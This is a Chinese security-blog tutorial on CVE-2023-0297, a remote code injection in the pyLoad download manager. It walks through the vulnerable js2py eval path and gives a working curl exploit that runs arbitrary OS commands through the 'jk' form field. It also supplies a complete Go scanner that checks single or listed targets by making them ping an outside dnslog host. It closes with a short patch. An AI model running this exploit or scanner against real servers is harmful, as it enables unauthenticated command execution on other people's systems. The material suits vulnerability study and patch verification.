freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

实战Golang编写POC—CVE-2023-0297
2023-03-08 10:29:08
所属地 四川省

前言

本文主要阐述漏洞详情及编写POC过程中遇到的坑。注:这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责,本文涉及服务器以及终端均为自行搭建。

CVE-2023-0297漏洞详情

Pyload:是用Python编写的免费开源下载管理器,可通过Web界面进行管理;截至23年2月,它的GitHub 存储库大约已有2.8k颗星。

漏洞描述:

js2py0.5.0b3.dev31之前的PyLoad版本中存在代码注入漏洞,未经身份验证的攻击者可通过滥用功能来执行任意Python代码。

漏洞受影响范围较小:

漏洞细节:

cnl_blueprint.py#L124

jk = eval_js(f"{jk} f()")

函数定义eval_js如下:

misc.py#L25-L27

def eval_js(script, es6=False):
# return requests_html.HTML().render(script=script, reload=False)
return (js2py.eval_js6 if es6 else js2py.eval_js)(script)

eval_js(f"{jk} f()")使用js2py的功能运行 JavaScript 代码,f"{jk} f()"其中jk参数由请求参数传递:

cnl_blueprint.py#L120

jk = flask.request.form["jk"]

因此,可以通过请求端点来运行任意 JavaScript 代码,使用fancyjs2py的功能进行命令执行。

POC/EXP:

curl -i -s -k -X $'POST' \
--data-binary $'jk=pyimport%20os;os.system("command");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
$'http://<target>/flash/addcrypted2'

POC编写

在已知漏洞验证POC的情况下,我们仅需分析出固定特征即可进行验证POC的编写,一般特征有响应码、响应内容的关键字、版本信息等,这里我们使用dnslog进行验证,因此仅需判断dnslog是否有响应即可判断是否存在漏洞。

要求:能进行单个目标及多个目标的漏洞验证。

编写思路:

1.接收用户参数

  • 从标准输入接收
  • 从文件中接收

2.处理用户参数

  • URL没有http前缀的增加http前缀
  • 去边URL后面的斜线

3.发送请求判断漏洞是否存在

  • 向target发送请求,不需要获取响应
  • 向dnslog平台发送请求,需要获取响应
  • 根据dnslog平台响应判断漏洞是否存在

4.方法的调用

遇到的问题:

1.参数处理:有一个场景有时从终端接收的值不是http://127.0.0.0/格式的,有可能后面还会带路径,比如http://127.0.0.0/path,那就需要将/path一起去掉,否则带入执行会导致误报,验证不精确。

原代码:

使用url.Parse对URL进行处理,url.Parse的简单使用用例:

u, err := url.Parse("https://www.example.com/path?query=value")
if err != nil {
// handle error
}
fmt.Println(u.Scheme)   // Output: https
fmt.Println(u.Host)     // Output: www.example.com
fmt.Println(u.Path)     // Output: /path
fmt.Println(u.RawQuery) // Output: query=value

2.使用path.join拼接的字符串URL存在问题如下:

import (
"fmt"
"path"
)

func main() {
target := "http://127.0.0.1"
url := path.Join(target, "/flash/addcrypted2")
fmt.Printf("%v", url)  //输出:http:/127.0.0.1/flash/addcrypted2
}

path.Join是将多个参数拼接为一个路径的函数,因此它并不适合拼接 URL。URL中的斜杠具有特殊意义,代表不同的URL路径分隔符,因此在拼接URL时最好使用net/url库中的url.URL类型来完成。

3.从文档中读取URL时候,未对URL后面的换行进行处理,导致报错;

通过写入时使用strings.TrimSuffix去除末尾的换行符进行解决。

4.目标不可达无限等待的问题;

可通过设置超时时间,让请求在一定时间内结束并继续执行后续代码。

5.dnslog平台(http://eyes.sh/

  • 返回 True,请求被触发;

  • 返回 False,请求未触发;

完整golang代码如下:

package main

import (
"crypto/tls"
"encoding/hex"
"flag"
"fmt"
"io/ioutil"
"math/rand"
"net/http"
"net/url"
"strings"
"time"
)

//1、从文件中读取内容,并将内容存为string类型的切片
func readFile(fileName string) ([]string, error) {
fileObj, err := ioutil.ReadFile(fileName)
if err != nil {
fmt.Println("open file failed, err:", err)
return nil, err
}

//按换行符分割文件内容
lines := strings.Split(string(fileObj), "\n")

//去除末尾的换行符,否则带入请求会报错
for i, line := range lines {
lines[i] = strings.TrimSuffix(line, "\r")
}
return lines, nil
}

//2、url处理
func urlHandler(target string) string {
if !strings.HasPrefix(target, "http") { //HasPrefix以http开头则返回true,区分大小写
target = "http://" + target //没有http的添加http
}

url, err := url.Parse(target)
if err != nil {
fmt.Println(err)
}
url.Path = ""         //将URL后面的路径全部去除包括/
target = url.String() //提取出处理后的URL,在进行返回

return target
}

//3、发送请求判断漏洞是否存在
func vuln_Verify(target string) {
rand.Seed(time.Now().UnixNano()) //设置随机数种子,加上这行代码,可以保证每次种子都是随机的
b := make([]byte, 2)             //函数 make 接受一个类型、一个指定的默认长度
rand.Read(b)
rand_str := hex.EncodeToString(b) //编码为16进制

//fmt.Printf("rand_str: %v\n", rand_str) //查看生成的种子

url := target + "/flash/addcrypted2"
postDataStr := `jk=pyimport%20os;os.system("ping ` + rand_str + `.pyload.eyes.sh -c4");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa`

req, err := http.NewRequest(http.MethodPost, url, strings.NewReader(postDataStr))
if err != nil {
fmt.Println("Create POST request failed", err.Error())
}
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36")
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")

//客户端忽略证书
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
client := http.Client{
Transport: tr,
Timeout:   10 * time.Second, //设置访问超时时间为10秒,避免无限等待
}

resp, err := client.Do(req) //发送POST请求
if err != nil {
fmt.Println("request target fail", err.Error())
return
}
defer resp.Body.Close()

<-time.After(5 * time.Second) //延时请求dnslog接口,?存在请求过快导致eyes.sh还未获取到响应就被覆盖的情况

//3、获取响应判断漏洞是否存在
dnsResponseGet, err := http.Get("http://eyes.sh/api/dns/pyload/" + rand_str + "/?token=0b899490")
if err != nil {
fmt.Println("Failed to create dnsResponseGet request", err.Error())
return
}

body, err := ioutil.ReadAll(dnsResponseGet.Body)

if err != nil {
fmt.Println("Failed to get response\n", err.Error())
return
}

dnsResponseGet.Body.Close()

if string(body) == "True" {
fmt.Printf("%v:Target is vulnerable.\n", target)
} else if string(body) == "False" {
fmt.Printf("%v:The target is not vulnerable.\n", target)
}
}

//4、调用方法
func main() {
var target, fileName string
flag.StringVar(&target, "u", "", "example:http://127.0.0.1:8080") //接收用户参数
flag.StringVar(&fileName, "f", "", "fileName:test.txt")           //获取文件名
flag.Parse()

if target == "" && fileName == "" {
fmt.Println("-h 查看使用方法,-u和-f两个参数同一时间只能用一个。")
return
}

if target == "" {
lines, err := readFile(fileName)
if err != nil {
fmt.Println(err)
}

for _, v := range lines {
target = urlHandler(v)
vuln_Verify(target)
}
} else {
target = urlHandler(target)
vuln_Verify(target)
}
}

POC验证

运行POC发包进行抓包,查看请求:

可见请求是没问题的,当存在漏洞时dnslog平台会返回 True,请求被触发:

漏洞修复

1.Just disablepyimportfunctionality.

misc.py

import js2py

+js2py.disable_pyimport()

2.升级至最新版本

Github:https://github.com/Small-ears/CVE-2023-0297

References

# 漏洞 # poc
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录